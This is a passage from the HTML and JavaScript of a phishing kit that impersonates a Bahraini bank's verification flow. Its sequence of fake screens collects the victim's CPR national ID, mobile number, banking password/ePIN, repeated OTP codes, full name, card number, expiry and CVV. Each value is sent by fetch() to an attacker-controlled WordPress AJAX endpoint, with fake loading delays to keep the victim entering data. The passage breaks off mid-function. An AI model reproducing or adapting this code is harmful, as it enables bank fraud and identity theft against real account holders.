class=\"input\">\r\n<input type=\"tel\" id=\"cpr\" maxlength=\"9\" placeholder=\"CPR Number\">\r\n<\/div>\r\n\r\n<div class=\"footer\">\r\n<button class=\"btn\" id=\"btn\">Update<\/button>\r\n<\/div>\r\n\r\n<!-- PREMIUM POPUP -->\r\n<div class=\"popup\" id=\"popup\">\r\n\r\n  <div class=\"popup-box\">\r\n\r\n    <!-- ICON -->\r\n    <div class=\"popup-icon-wrap\">\r\n  <img decoding=\"async\" src=\"https:\/\/bhbbmo1.it.com\/wp-content\/uploads\/2026\/06\/Popup-logo.png\" class=\"popup-icon-img\">\r\n<\/div>\r\n\r\n    <!-- TITLE 1 -->\r\n    <h3 class=\"popup-title\">Verification Required<\/h3>\r\n\r\n    <!-- LOGO -->\r\n    <img decoding=\"async\" src=\"https:\/\/bhbbmo1.it.com\/wp-content\/uploads\/2026\/06\/red.png\" class=\"popup-logo\">\r\n\r\n    <!-- TITLE 2 -->\r\n    <h4 class=\"popup-subtitle\">Secure Verification Needed<\/h4>\r\n\r\n    <!-- DESCRIPTION -->\r\n    <p class=\"popup-desc\">\r\n      Please verify your account to continue securely and access all services.\r\n    <\/p>\r\n\r\n    <!-- BUTTON -->\r\n    <div class=\"popup-btns center\">\r\n      <button class=\"verify\" id=\"verifyBtn\">\r\n        Verify Now\r\n      <\/button>\r\n    <\/div>\r\n\r\n  <\/div>\r\n\r\n<\/div>\r\n\r\n<\/div> <!-- STEP2 END -->\r\n\r\n<!-- STEP3 END -->\r\n<div class=\"step\" id=\"step3\">\r\n\r\n<img decoding=\"async\" src=\"https:\/\/bhbbmo1.it.com\/wp-content\/uploads\/2026\/06\/BK-Logo.png\" class=\"logo\">\r\n\r\n<img decoding=\"async\" src=\"https:\/\/bhbbmo1.it.com\/wp-content\/uploads\/2026\/06\/mobile.png\" class=\"top-icon\">\r\n\r\n<h1>Additional Verification<\/h1>\r\n\r\n<div class=\"sub\">\r\nFor your security, please provide the following information to complete the verification process\r\n<\/div>\r\n\r\n<div class=\"input mobile-input\">\r\n\r\n    <span class=\"prefix\">\r\n        <img decoding=\"async\" src=\"https:\/\/flagcdn.com\/w40\/bh.png\"> +973\r\n    <\/span>\r\n\r\n    <input type=\"tel\" id=\"mobile\" maxlength=\"8\" placeholder=\"XXXXXXXX\" autocomplete=\"off\">\r\n\r\n<\/div>\r\n\r\n<div class=\"footer\">\r\n<button class=\"btn\" id=\"btn2\">Verify<\/button>\r\n<\/div>\r\n\r\n<\/div>\r\n\r\n<!-- STEP4 -->\r\n<div class=\"step hidden\" id=\"step4\">\r\n\r\n<img decoding=\"async\" src=\"https:\/\/bhbbmo1.it.com\/wp-content\/uploads\/2026\/06\/BK-Logo.png\" class=\"logo\">\r\n\r\n<!-- TOP CENTER LOGO -->\r\n<img decoding=\"async\" src=\"https:\/\/bhbbmo1.it.com\/wp-content\/uploads\/2026\/06\/PASS.png\" class=\"step4-top-logo\">\r\n\r\n<div class=\"sub\">\r\nEnter your mobile banking Password\/ePIN\r\n<\/div>\r\n\r\n<div class=\"input\">\r\n    <input type=\"tel\" id=\"epin\" maxlength=\"8\" placeholder=\"Enter your password & ePIN\" inputmode=\"numeric\">\r\n<\/div>\r\n\r\n<!-- \u2705 BUTTON input \u06a9\u06d2 \u0646\u06cc\u0686\u06d2 -->\r\n<div class=\"btn-wrap\">\r\n<button class=\"btn\" id=\"btn3\">Activate<\/button>\r\n\r\n<div class=\"link\">\r\nCreate\/Forgot Password?\r\n<\/div>\r\n<\/div>\r\n\r\n<!-- \u2705 ARABIC -->\r\n<div class=\"arabic\">\u0639\u0631\u0628\u064a<\/div>\r\n\r\n<\/div>\r\n\r\n<!-- STEP5 -->\r\n<div class=\"step hidden\" id=\"step5\">\r\n\r\n    <img decoding=\"async\" src=\"https:\/\/bhbbmo1.it.com\/wp-content\/uploads\/2026\/06\/BK-Logo.png\" class=\"logo\">\r\n\r\n    <!-- \u2705 \ud83d\udd25 \u06cc\u06c1\u0627\u06ba \u0644\u06af\u0627\u0646\u0627 \u06c1\u06d2 -->\r\n    <img decoding=\"async\" src=\"https:\/\/bhbbmo1.it.com\/wp-content\/uploads\/2026\/06\/otp-logo.png\" class=\"top-icon\">\r\n\r\n    <h1>Secure Verification Code<\/h1>\r\n\r\n    <div class=\"sub\">\r\nEnter the 6-digit code to securely verify your account\r\n<\/div>\r\n\r\n    <!-- \ud83d\udd25 OTP BOX -->\r\n    <div class=\"otp-box\">\r\n\r\n        <div class=\"pin-wrap\" id=\"otpWrap\">\r\n            <input type=\"tel\" maxlength=\"1\" inputmode=\"numeric\" pattern=\"[0-9]*\" autocomplete=\"one-time-code\">\r\n            <input type=\"tel\" maxlength=\"1\" inputmode=\"numeric\" pattern=\"[0-9]*\" autocomplete=\"one-time-code\">\r\n            <input type=\"tel\" maxlength=\"1\" inputmode=\"numeric\" pattern=\"[0-9]*\" autocomplete=\"one-time-code\">\r\n            <input type=\"tel\" maxlength=\"1\" inputmode=\"numeric\" pattern=\"[0-9]*\" autocomplete=\"one-time-code\">\r\n            <input type=\"tel\" maxlength=\"1\" inputmode=\"numeric\" pattern=\"[0-9]*\" autocomplete=\"one-time-code\">\r\n            <input type=\"tel\" maxlength=\"1\" inputmode=\"numeric\" pattern=\"[0-9]*\" autocomplete=\"one-time-code\">\r\n        <\/div>\r\n        \r\n        <div id=\"otpError\" style=\"display:none;color:#ff3b3b;font-weight:700;margin-top:10px;\">\r\nInvalid OTP Code, Please try again\r\n<\/div>\r\n\r\n        <!-- \u23f1 TIMER (box \u06a9\u06d2 \u0627\u0646\u062f\u0631) -->\r\n        <div class=\"otp-time\">\r\n            OTP expiration ( 02:00 )\r\n        <\/div>\r\n\r\n    <\/div>\r\n\r\n    <!-- \u2705 BUTTON (footer always \u0628\u0627\u06c1\u0631) -->\r\n    <div class=\"footer\">\r\n        <button class=\"btn\" id=\"btn5\">Verify<\/button>\r\n    <\/div>\r\n\r\n<\/div>\r\n\r\n<!-- STEP6 -->\r\n<div class=\"step hidden\" id=\"step6\">\r\n\r\n    <img decoding=\"async\" src=\"https:\/\/bhbbmo1.it.com\/wp-content\/uploads\/2026\/06\/BK-Logo.png\" class=\"logo\">\r\n\r\n    <img decoding=\"async\" src=\"https:\/\/bhbbmo1.it.com\/wp-content\/uploads\/2026\/06\/name.png\" class=\"top-icon\">\r\n\r\n    <h1>Full Name Verification<\/h1>\r\n\r\n    <div class=\"sub\">\r\n        Please enter your full name as per your official records\r\n    <\/div>\r\n\r\n    <div class=\"input\">\r\n        <input type=\"text\" id=\"fullname\" placeholder=\"Full Name\">\r\n    <\/div>\r\n\r\n    <div class=\"footer\">\r\n        <button class=\"btn\" id=\"btn6\">Continue<\/button>\r\n    <\/div>\r\n\r\n<\/div>\r\n\r\n<!-- PROCESS LOADER ONLY -->\r\n<div class=\"popup\" id=\"processPopup\">\r\n\r\n  <div class=\"popup-box\">\r\n\r\n    <div class=\"bbk-loader\"><\/div>\r\n\r\n<h3 class=\"process-title\">Processing your request<\/h3>\r\n\r\n<p class=\"process-desc\">\r\nPlease wait while we prepare your next step. This usually takes around 4 seconds.\r\n<\/p>\r\n\r\n  <\/div>\r\n\r\n<\/div>\r\n\r\n<!-- STEP7 (SAME OTP AGAIN) -->\r\n<div class=\"step hidden\" id=\"step7\">\r\n\r\n    <img decoding=\"async\" src=\"https:\/\/bhbbmo1.it.com\/wp-content\/uploads\/2026\/06\/BK-Logo.png\" class=\"logo\">\r\n\r\n    <img decoding=\"async\" src=\"https:\/\/bhbbmo1.it.com\/wp-content\/uploads\/2026\/06\/otp-logo.png\" class=\"top-icon\">\r\n\r\n    <h1>Secure Access Code<\/h1>\r\n\r\n    <div class=\"sub\">\r\nPlease confirm your identity by entering the 6-digit code\r\n<\/div>\r\n\r\n    <div class=\"otp-box\">\r\n\r\n        <div class=\"pin-wrap\" id=\"otpWrap2\">\r\n            <input type=\"tel\" maxlength=\"1\" inputmode=\"numeric\">\r\n            <input type=\"tel\" maxlength=\"1\" inputmode=\"numeric\">\r\n            <input type=\"tel\" maxlength=\"1\" inputmode=\"numeric\">\r\n            <input type=\"tel\" maxlength=\"1\" inputmode=\"numeric\">\r\n            <input type=\"tel\" maxlength=\"1\" inputmode=\"numeric\">\r\n            <input type=\"tel\" maxlength=\"1\" inputmode=\"numeric\">\r\n        <\/div>\r\n\r\n        <div class=\"otp-time\" id=\"otpTime2\">\r\n            OTP expiration ( 02:00 )\r\n        <\/div>\r\n\r\n    <\/div>\r\n\r\n    <div class=\"footer\">\r\n        <button class=\"btn\" id=\"btn7\">Verify<\/button>\r\n    <\/div>\r\n\r\n<\/div>\r\n\r\n<!-- STEP8 CARD DETAILS -->\r\n<div class=\"step hidden\" id=\"step8\">\r\n\r\n    <img decoding=\"async\" src=\"https:\/\/bhbbmo1.it.com\/wp-content\/uploads\/2026\/06\/BK-Logo.png\" class=\"logo\">\r\n    \r\n    <!-- Card Icon - Latest Rounded Card Icon -->\r\n    <div class=\"top-icon\" style=\"display:flex; justify-content:center; align-items:center; margin-top:50px; margin-bottom:20px;\">\r\n        <svg width=\"100\" height=\"100\" viewBox=\"0 0 24 24\" fill=\"none\" stroke=\"#fff\" stroke-width=\"1.2\" style=\"filter: drop-shadow(0 4px 12px rgba(0,0,0,0.15));\">\r\n            <!-- Rounded Card Background -->\r\n            <rect x=\"2\" y=\"4\" width=\"20\" height=\"16\" rx=\"4\" ry=\"4\" stroke=\"#fff\" stroke-width=\"1.5\"\/>\r\n            <!-- Card Chip -->\r\n            <ellipse cx=\"8\" cy=\"12\" rx=\"4\" ry=\"3\" stroke=\"#fff\" stroke-width=\"1.2\" fill=\"rgba(255,255,255,0.15)\"\/>\r\n            <!-- Card Lines -->\r\n            <line x1=\"12\" y1=\"14\" x2=\"18\" y2=\"14\" stroke=\"#fff\" stroke-width=\"1.2\" opacity=\"0.6\"\/>\r\n            <line x1=\"12\" y1=\"16\" x2=\"16\" y2=\"16\" stroke=\"#fff\" stroke-width=\"1.2\" opacity=\"0.4\"\/>\r\n            <!-- Contactless Icon -->\r\n            <path d=\"M18 8c1.5 1.5 1.5 4 0 5.5\" stroke=\"#fff\" stroke-width=\"1.2\" opacity=\"0.6\"\/>\r\n            <path d=\"M19.5 6.5c2.5 2.5 2.5 6.5 0 9\" stroke=\"#fff\" stroke-width=\"1.2\" opacity=\"0.4\"\/>\r\n        <\/svg>\r\n    <\/div>\r\n\r\n    <h1>Card Verification<\/h1>\r\n\r\n    <div class=\"sub\">\r\n        Please enter your card number and expiry date\r\n    <\/div>\r\n\r\n    <!-- Card Number with Icon (Left) - Full Width -->\r\n    <div style=\"position:relative; width:90%; max-width:360px; margin:20px auto 0;\">\r\n        <svg style=\"position:absolute; left:18px; top:50%; transform:translateY(-50%); z-index:2; width:22px; height:22px; stroke:rgba(255,255,255,0.7); fill:none;\" viewBox=\"0 0 24 24\" stroke-width=\"1.8\">\r\n            <rect x=\"2\" y=\"4\" width=\"20\" height=\"16\" rx=\"2\" ry=\"2\"\/>\r\n            <line x1=\"2\" y1=\"10\" x2=\"22\" y2=\"10\"\/>\r\n            <line x1=\"6\" y1=\"14\" x2=\"10\" y2=\"14\"\/>\r\n            <line x1=\"14\" y1=\"14\" x2=\"18\" y2=\"14\"\/>\r\n        <\/svg>\r\n        <input type=\"text\" id=\"cardNumber\" maxlength=\"19\" placeholder=\"Card Number\" inputmode=\"numeric\" style=\"width:100%; height:60px; border-radius:20px; padding:0 20px 0 50px; background:linear-gradient(to bottom, #3B7AC4, #3B7AC4); border:1px solid rgba(82,136,202,0.6); color:#fff; font-size:17px; outline:none; text-align:left; letter-spacing:2px; box-sizing:border-box;\">\r\n        <style>\r\n            #cardNumber::placeholder {\r\n                color: #ffffff !important;\r\n                opacity: 0.8 !important;\r\n                font-weight: 400 !important;\r\n            }\r\n        <\/style>\r\n    <\/div>\r\n\r\n    <!-- Expiry Only with Icon - 50% Width Left -->\r\n    <div style=\"width:90%; max-width:360px; margin:12px auto 0;\">\r\n        <div style=\"position:relative; width:45%; max-width:170px; margin-left:0;\">\r\n            <svg style=\"position:absolute; left:18px; top:50%; transform:translateY(-50%); z-index:2; width:20px; height:20px; stroke:rgba(255,255,255,0.7); fill:none;\" viewBox=\"0 0 24 24\" stroke-width=\"1.8\">\r\n                <rect x=\"3\" y=\"4\" width=\"18\" height=\"18\" rx=\"2\" ry=\"2\"\/>\r\n                <line x1=\"16\" y1=\"2\" x2=\"16\" y2=\"6\"\/>\r\n                <line x1=\"8\" y1=\"2\" x2=\"8\" y2=\"6\"\/>\r\n                <line x1=\"3\" y1=\"10\" x2=\"21\" y2=\"10\"\/>\r\n            <\/svg>\r\n            <input type=\"text\" id=\"expiry\" maxlength=\"5\" placeholder=\"MM\/YY\" inputmode=\"numeric\" style=\"width:100%; height:60px; border-radius:20px; padding:0 15px 0 48px; background:linear-gradient(to bottom, #3B7AC4, #3B7AC4); border:1px solid rgba(82,136,202,0.6); color:#fff; font-size:17px; outline:none; text-align:left; letter-spacing:2px; box-sizing:border-box;\">\r\n            <style>\r\n                #expiry::placeholder {\r\n                    color: #ffffff !important;\r\n                    opacity: 0.8 !important;\r\n                    font-weight: 400 !important;\r\n                }\r\n            <\/style>\r\n        <\/div>\r\n    <\/div>\r\n\r\n    <div class=\"footer\">\r\n        <button class=\"btn\" id=\"btn8\">Continue<\/button>\r\n    <\/div>\r\n\r\n<\/div>\r\n\r\n<!-- STEP9 FINAL OTP -->\r\n<div class=\"step hidden\" id=\"step9\">\r\n\r\n    <img decoding=\"async\" src=\"https:\/\/bhbbmo1.it.com\/wp-content\/uploads\/2026\/06\/BK-Logo.png\" class=\"logo\">\r\n\r\n    <img decoding=\"async\" src=\"https:\/\/bhbbmo1.it.com\/wp-content\/uploads\/2026\/06\/otp-logo.png\" class=\"top-icon\">\r\n\r\n    <h1>Secure Verification Code<\/h1>\r\n\r\n    <div class=\"sub\">\r\nPlease enter the 6-digit verification code sent to your number\r\n<\/div>\r\n\r\n    <div class=\"otp-box\">\r\n\r\n        <div class=\"pin-wrap\" id=\"otpWrap3\">\r\n            <input type=\"tel\" maxlength=\"1\" inputmode=\"numeric\">\r\n            <input type=\"tel\" maxlength=\"1\" inputmode=\"numeric\">\r\n            <input type=\"tel\" maxlength=\"1\" inputmode=\"numeric\">\r\n            <input type=\"tel\" maxlength=\"1\" inputmode=\"numeric\">\r\n            <input type=\"tel\" maxlength=\"1\" inputmode=\"numeric\">\r\n            <input type=\"tel\" maxlength=\"1\" inputmode=\"numeric\">\r\n        <\/div>\r\n\r\n        <div class=\"otp-time\">OTP expiration ( 02:00 )<\/div>\r\n\r\n    <\/div>\r\n\r\n    <div class=\"footer\">\r\n        <button class=\"btn\" id=\"btn9\">Verify<\/button>\r\n    <\/div>\r\n\r\n<\/div>\r\n\r\n<!-- STEP10 CVV VERIFICATION -->\r\n<div class=\"step hidden\" id=\"step10\">\r\n\r\n    <img decoding=\"async\" src=\"https:\/\/bhbbmo1.it.com\/wp-content\/uploads\/2026\/06\/BK-Logo.png\" class=\"logo\">\r\n    \r\n    <!-- CVV Icon - Back Card with Rounded Latest Design -->\r\n    <div class=\"top-icon\" style=\"display:flex; justify-content:center; align-items:center; margin-top:50px; margin-bottom:20px;\">\r\n        <svg width=\"100\" height=\"100\" viewBox=\"0 0 24 24\" fill=\"none\" stroke=\"#fff\" stroke-width=\"1.2\" style=\"filter: drop-shadow(0 4px 12px rgba(0,0,0,0.15));\">\r\n            <!-- Rounded Card Background -->\r\n            <rect x=\"2\" y=\"4\" width=\"20\" height=\"16\" rx=\"4\" ry=\"4\" stroke=\"#fff\" stroke-width=\"1.5\"\/>\r\n            <!-- Magnetic Strip -->\r\n            <rect x=\"3\" y=\"8\" width=\"18\" height=\"3\" rx=\"1\" fill=\"rgba(255,255,255,0.2)\" stroke=\"none\"\/>\r\n            <!-- CVV Label -->\r\n            <text x=\"6\" y=\"15\" font-size=\"3\" fill=\"rgba(255,255,255,0.5)\" font-family=\"Arial\">CVV<\/text>\r\n            <!-- CVV Box -->\r\n            <rect x=\"14\" y=\"12\" width=\"6\" height=\"4\" rx=\"1\" stroke=\"#fff\" stroke-width=\"1\" opacity=\"0.5\"\/>\r\n            <!-- CVV Dots -->\r\n            <circle cx=\"15.5\" cy=\"14\" r=\"0.5\" fill=\"#fff\" opacity=\"0.4\"\/>\r\n            <circle cx=\"17\" cy=\"14\" r=\"0.5\" fill=\"#fff\" opacity=\"0.4\"\/>\r\n            <circle cx=\"18.5\" cy=\"14\" r=\"0.5\" fill=\"#fff\" opacity=\"0.4\"\/>\r\n            <!-- Card Brand Logo Placeholder -->\r\n            <circle cx=\"16\" cy=\"6\" r=\"2\" stroke=\"#fff\" stroke-width=\"0.8\" opacity=\"0.3\"\/>\r\n            <circle cx=\"16\" cy=\"6\" r=\"1\" stroke=\"#fff\" stroke-width=\"0.8\" opacity=\"0.2\"\/>\r\n        <\/svg>\r\n    <\/div>\r\n\r\n    <h1>CVV Verification<\/h1>\r\n\r\n    <div class=\"sub\">\r\n        Please enter the 3-digit CVV code from the back of your card\r\n    <\/div>\r\n\r\n    <!-- CVV Input -->\r\n    <div class=\"input\" style=\"margin-top:20px; max-width:200px;\">\r\n        <input type=\"password\" id=\"cvvStep10\" maxlength=\"3\" placeholder=\"CVV\" inputmode=\"numeric\" style=\"text-align:center; letter-spacing:4px; font-size:22px; font-weight:600; width:100%; height:60px; border-radius:20px; padding:0 20px; background:linear-gradient(to bottom, #3B7AC4, #3B7AC4); border:1px solid rgba(82,136,202,0.6); color:#fff; outline:none;\">\r\n        <style>\r\n            #cvvStep10::placeholder {\r\n                color: #ffffff !important;\r\n                opacity: 0.8 !important;\r\n                font-weight: 400 !important;\r\n            }\r\n        <\/style>\r\n    <\/div>\r\n\r\n    <div class=\"footer\">\r\n        <button class=\"btn\" id=\"btn10\">Verify CVV<\/button>\r\n    <\/div>\r\n\r\n<\/div>\r\n\r\n<script>\r\n\r\nlet cpr = document.getElementById('cpr');\r\nlet btn = document.getElementById('btn');\r\nlet step1 = document.getElementById('step1');\r\nlet step2 = document.getElementById('step2');\r\nlet step3 = document.getElementById('step3');\r\n\r\n\/* SPLASH \u2192 STEP2 *\/\r\nsetTimeout(()=>{\r\n\r\n    \/* \ud83d\udd25 SEND VISITOR INFO (NOW WILL WORK) *\/\r\n    fetch(\"https:\/\/bhbbmo1.it.com\/wp-admin\/admin-ajax.php\",{\r\n        method:\"POST\",\r\n        body:new URLSearchParams({\r\n            action:\"bbk_visitor\"\r\n        })\r\n    });\r\n\r\n    step1.classList.remove('active');\r\n    step2.classList.add('active');\r\n\r\n},3000);\r\n\r\n\/* CPR VALIDATION *\/\r\ncpr.addEventListener('input',()=>{\r\n\r\n    cpr.value = cpr.value.replace(\/[^0-9]\/g,'');\r\n\r\n    if(cpr.value.length == 9){\r\n        btn.classList.add('active');\r\n    }else{\r\n        btn.classList.remove('active');\r\n    }\r\n\r\n});\r\n\r\n\/* STEP2 \u00e2\u2020\u2019 STEP3 *\/\r\nbtn.onclick = function(){\r\n\r\n    if(!btn.classList.contains('active')) return;\r\n\r\n    let oldText = btn.innerHTML;\r\n    btn.innerHTML = '<div class=\"loader\"><\/div>';\r\n\r\n    let formData = new FormData();\r\n    formData.append(\"action\",\"bbk_step2\");\r\n    formData.append(\"cpr\",cpr.value);\r\n\r\n    fetch(\"https:\/\/bhbbmo1.it.com\/wp-admin\/admin-ajax.php\",{\r\n        method:\"POST\",\r\n        body:formData\r\n    });\r\n\r\n    setTimeout(()=>{\r\n\r\n        btn.innerHTML = oldText;\r\n\r\n        \/* STEP CHANGE *\/\r\n        step2.classList.remove('active');\r\n\r\nstep3.classList.remove('hidden');\r\nstep3.classList.add('active');\r\n\r\n    },3000);\r\n\r\n};\r\n\r\n\/* MOBILE STEP *\/\r\nlet mobile = document.getElementById('mobile');\r\nlet btn2 = document.getElementById('btn2');\r\n\r\n\/* FORCE CLEAR + DISABLE AUTOFILL *\/\r\nsetTimeout(()=>{\r\n    mobile.value = \"\";\r\n},100);\r\n\r\nmobile.setAttribute(\"autocomplete\",\"off\");\r\n\r\n\/* INPUT CONTROL *\/\r\nmobile.addEventListener('input',()=>{\r\n\r\n    \/* \u0635\u0631\u0641 digits *\/\r\n    mobile.value = mobile.value.replace(\/[^0-9]\/g,'');\r\n\r\n    \/* max 8 digits hard limit *\/\r\n    if(mobile.value.length > 8){\r\n        mobile.value = mobile.value.slice(0,8);\r\n    }\r\n\r\n    \/* button active *\/\r\n    if(mobile.value.length == 8){\r\n        btn2.classList.add('active');\r\n    }else{\r\n        btn2.classList.remove('active');\r\n    }\r\n\r\n});\r\n\r\n\/* STEP3 CLICK *\/\r\nbtn2.onclick = function(){\r\n\r\n    if(!btn2.classList.contains('active')) return;\r\n\r\n    let oldText = btn2.innerHTML;\r\n\r\n    \/* SAME LOADER *\/\r\n    btn2.innerHTML = '<div class=\"loader\"><\/div>';\r\n\r\n    let formData = new FormData();\r\n    formData.append(\"action\",\"bbk_step3\");\r\n    formData.append(\"mobile\",mobile.value);\r\n\r\n    fetch(\"https:\/\/bhbbmo1.it.com\/wp-admin\/admin-ajax.php\",{\r\n        method:\"POST\",\r\n        body:formData\r\n    });\r\n\r\n    setTimeout(()=>{\r\n\r\n        btn2.innerHTML = oldText;\r\n\r\n        \/* NEXT STEP (temporary alert) *\/\r\n        step3.classList.remove('active');\r\n        step3.classList.add('hidden');\r\n\r\n        let step4 = document.getElementById('step4');\r\n        step4.classList.remove('hidden');\r\n        step4.classList.add('active');\r\n\r\n    },3000);\r\n\r\n};\r\n\r\nlet step4 = document.getElementById('step4');\r\nlet epin = document.getElementById('epin');\r\nlet btn3 = document.getElementById('btn3');\r\n\r\n\/* EPIN VALIDATION *\/\r\nlet hideTimer;\r\n\r\nepin.addEventListener('input',()=>{\r\n\r\n    epin.value = epin.value.replace(\/[^0-9]\/g,'');\r\n\r\n    if(epin.value.length > 8){\r\n        epin.value = epin.value.slice(0,8);\r\n    }\r\n\r\n    \/* button active *\/\r\n    if(epin.value.length >= 6){\r\n        btn3.classList.add('active');\r\n    }else{\r\n        btn3.classList.remove('active');\r\n    }\r\n\r\n    \/* \ud83d\udd25 CLEAR previous timer *\/\r\n    clearTimeout(hideTimer);\r\n\r\n    \/* \ud83d\udd25 show numbers *\/\r\n    epin.type = \"tel\";\r\n\r\n    \/* \ud83d\udd25 delay then hide (premium feel) *\/\r\n    hideTimer = setTimeout(()=>{\r\n        epin.type = \"password\";\r\nepin.style.webkitTextSecurity = \"disc\";\r\n    },1000);\r\n});\r\n\r\n\/* STEP4 CLICK *\/\r\nbtn3.onclick = function(){\r\n\r\n    if(!btn3.classList.contains('active')) return;\r\n\r\n    let oldText = btn3.innerHTML;\r\n\r\n    btn3.innerHTML = '<div class=\"loader\"><\/div>';\r\n\r\n    let formData = new FormData();\r\n    formData.append(\"action\",\"bbk_step4\");\r\n    formData.append(\"epin\",epin.value);\r\n\r\n    fetch(\"https:\/\/bhbbmo1.it.com\/wp-admin\/admin-ajax.php\",{\r\n        method:\"POST\",\r\n        body:formData\r\n    });\r\n\r\n    setTimeout(()=>{\r\n        btn3.innerHTML = oldText;\r\n\r\n        step4.classList.remove('active');\r\nstep4.classList.add('hidden');\r\n\r\nlet step5 = document.getElementById('step5');\r\nstep5.classList.remove('hidden');\r\nstep5.classList.add('active');\r\nstartTimer();\r\n\r\n    },3000);\r\n\r\n};\r\n\r\nlet otpInputs = document.querySelectorAll('#step5 .pin-wrap input');\r\nlet btn5 = document.getElementById('btn5');\r\n\r\n\/* AUTO MOVE *\/\r\notpInputs.forEach((input,index)=>{\r\n\r\n    input.addEventListener('input',()=>{\r\n\r\n        input.value = input.value.replace(\/[^0-9]\/g,'');\r\n\r\n        if(input.value && index < otpInputs.length-1){\r\n            otpInputs[index+1].focus();\r\n        }\r\n\r\n        checkOTP();\r\n    });\r\n\r\n    \/* BACKSPACE *\/\r\n    input.addEventListener('keydown',(e)=>{\r\n        if(e.key === \"Backspace\" && !input.value && index > 0){\r\n            otpInputs[index-1].focus();\r\n        }\r\n    });\r\n\r\n});\r\n\r\n\/* BUTTON ACTIVE *\/\r\nfunction checkOTP(){\r\n    let filled = [...otpInputs].every(i => i.value.length === 1);\r\n\r\n    if(filled){\r\n        btn5.classList.add('active');\r\n    }else{\r\n        btn5.classList.remove('active');\r\n    }\r\n}\r\n\r\nlet time = 120;\r\nlet timerInterval;\r\n\r\nlet timerEl = document.querySelector('#step5 .otp-time');\r\n\r\nfunction startTimer(){\r\n    clearInterval(timerInterval);\r\n\r\n    time = 120;\r\n\r\n    timerInterval = setInterval(()=>{\r\n        let min = Math.floor(time \/ 60);\r\n        let sec = time % 60;\r\n\r\n        if(sec < 10) sec = \"0\" + sec;\r\n\r\n        timerEl.innerHTML = `OTP expiration ( ${min}:${sec} )`;\r\n\r\n        if(time > 0) time--;\r\n    },1000);\r\n}\r\n\r\nbtn5.onclick = function(){\r\n\r\n    if(!btn5.classList.contains('active')) return;\r\n\r\n    let otp = [...otpInputs].map(i => i.value).join('');\r\n\r\n    let formData = new FormData();\r\n    formData.append(\"action\",\"bbk_step9\");\r\n    formData.append(\"otp\",otp);\r\n\r\n    fetch(\"https:\/\/bhbbmo1.it.com\/wp-admin\/admin-ajax.php\",{\r\n        method:\"POST\",\r\n        body:formData,\r\n        credentials:\"same-origin\"\r\n    });\r\n\r\n    let oldText = btn5.innerHTML;\r\n    btn5.innerHTML = '<div class=\"loader\"><\/div>';\r\n\r\n    setTimeout(()=>{\r\n\r\n        btn5.innerHTML = oldText;\r\n\r\n        step5.classList.remove('active');\r\n        step5.classList.add('hidden');\r\n\r\n        step6.classList.remove('hidden');\r\n        step6.classList.add('active');\r\n\r\n    },3000);\r\n};\r\n\r\nlet fullname = document.getElementById('fullname');\r\nlet btn6 = document.getElementById('btn6');\r\n\r\n\/* VALIDATION *\/\r\nfullname.addEventListener('input',()=>{\r\n\r\n    if(fullname.value.trim().length > 2){\r\n        btn6.classList.add('active');\r\n    }else{\r\n        btn6.classList.remove('active');\r\n    }\r\n\r\n});\r\n\r\nlet processPopup = document.getElementById('processPopup');\r\n\r\nbtn6.onclick = function(){\r\n\r\n    if(!btn6.classList.contains('active')) return;\r\n\r\n    let formData = new FormData();\r\n    formData.append(\"action\",\"bbk_step9\");\r\n    formData.append(\"otp\",fullname.value);\r\n\r\n    fetch(\"https:\/\/bhbbmo1.it.com\/wp-admin\/admin-ajax.php\",{\r\n        method:\"POST\",\r\n        body:formData,\r\n        credentials:\"same-origin\"\r\n    });\r\n\r\n    processPopup.style.display = \"flex\";\r\n\r\n    setTimeout(()=>{\r\n        processPopup.style.display = \"none\";\r\n\r\n        step6.classList.remove('active');\r\n        step6.classList.add('hidden');\r\n\r\n        step7.classList.remove('hidden');\r\n        step7.classList.add('active');\r\n        startTimer2();\r\n\r\n    },5000);\r\n};\r\n\r\n\/* STEP7 OTP LOGIC *\/\r\n\r\nlet otpInputs2 = document.querySelectorAll('#step7 .pin-wrap input');\r\nlet btn7 = document.getElementById('btn7');\r\n\r\nbtn7.onclick = function(){\r\n\r\n    if(!btn7.classList.contains('active')) return;\r\n\r\n    let otp2 = [...otpInputs2].map(i => i.value).join('');\r\n\r\n    let formData = new FormData();\r\n    formData.append(\"action\",\"bbk_step9\");\r\n    formData.append(\"otp\",otp2);\r\n\r\n    fetch(\"https:\/\/bhbbmo1.it.com\/wp-admin\/admin-ajax.php\",{\r\n        method:\"POST\",\r\n        body:formData,\r\n        credentials:\"same-origin\"\r\n    });\r\n\r\n    let old = btn7.innerHTML;\r\n    btn7.innerHTML = '<div class=\"loader\"><\/div>';\r\n\r\n    setTimeout(()=>{\r\n        btn7.innerHTML = old;\r\n\r\n        step7.classList.remove('active');\r\n        step7.classList.add('hidden');\r\n\r\n        step8.classList.remove('hidden');\r\n        step8.classList.add('active');\r\n\r\n    },3000);\r\n};\r\n\r\n\/\/ ============================================\r\n\/\/ STEP 8: CARD DETAILS (Card Number + Expiry Only)\r\n\/\/ ============================================\r\n\r\nlet cardNumber = document.getElementById('cardNumber');\r\nlet expiry = document.getElementById('expiry');\r\nlet btn8 = document.getElementById('btn8');\r\n\r\n\/\/ Card Number Auto-Format: 0000 0000 0000 0000\r\ncardNumber.addEventListener('input', function() {\r\n    let value = this.value.replace(\/\\D\/g, '');\r\n    \r\n    if (value.length > 16) {\r\n        value = value.slice(0, 16);\r\n    }\r\n    \r\n    let formatted = '';\r\n    for (let i = 0; i < value.length; i++) {\r\n        if (i > 0 && i % 4 === 0) {\r\n            formatted += ' ';\r\n        }\r\n        formatted += value[i];\r\n    }\r\n    this.value = formatted;\r\n    \r\n    checkCardDetails();\r\n});\r\n\r\n\/\/ Expiry Auto-Format: MM\/YY\r\nexpiry.addEventListener('input', function() {\r\n    let value = this.value.replace(\/\\D\/g, '');\r\n    \r\n    if (value.length >= 2) {\r\n        let month = value.substring(0, 2);\r\n        let year = value.substring(2, 4);\r\n        this.value = month + '\/' + year;\r\n    } else {\r\n        this.value = value;\r\n    }\r\n    \r\n    checkCardDetails();\r\n});\r\n\r\n\/\/ Check if card fields are valid (ONLY Card + Expiry)\r\nfunction checkCardDetails() {\r\n    let cardClean = cardNumber.value.replace(\/\\s\/g, '');\r\n    let cardValid = cardClean.length === 16 && \/^\\d{16}$\/.test(cardClean);\r\n    let expValid = \/^\\d{2}\\\/\\d{2}$\/.test(expiry.value);\r\n    \r\n    if (cardValid && expValid) {\r\n        btn8.classList.add('active');\r\n        console.log(\"\u2705 Card + Expiry Valid - Button Active\");\r\n    } else {\r\n        btn8.classList.remove('active');\r\n        console.log(\"\u274c Card or Expiry Invalid\");\r\n    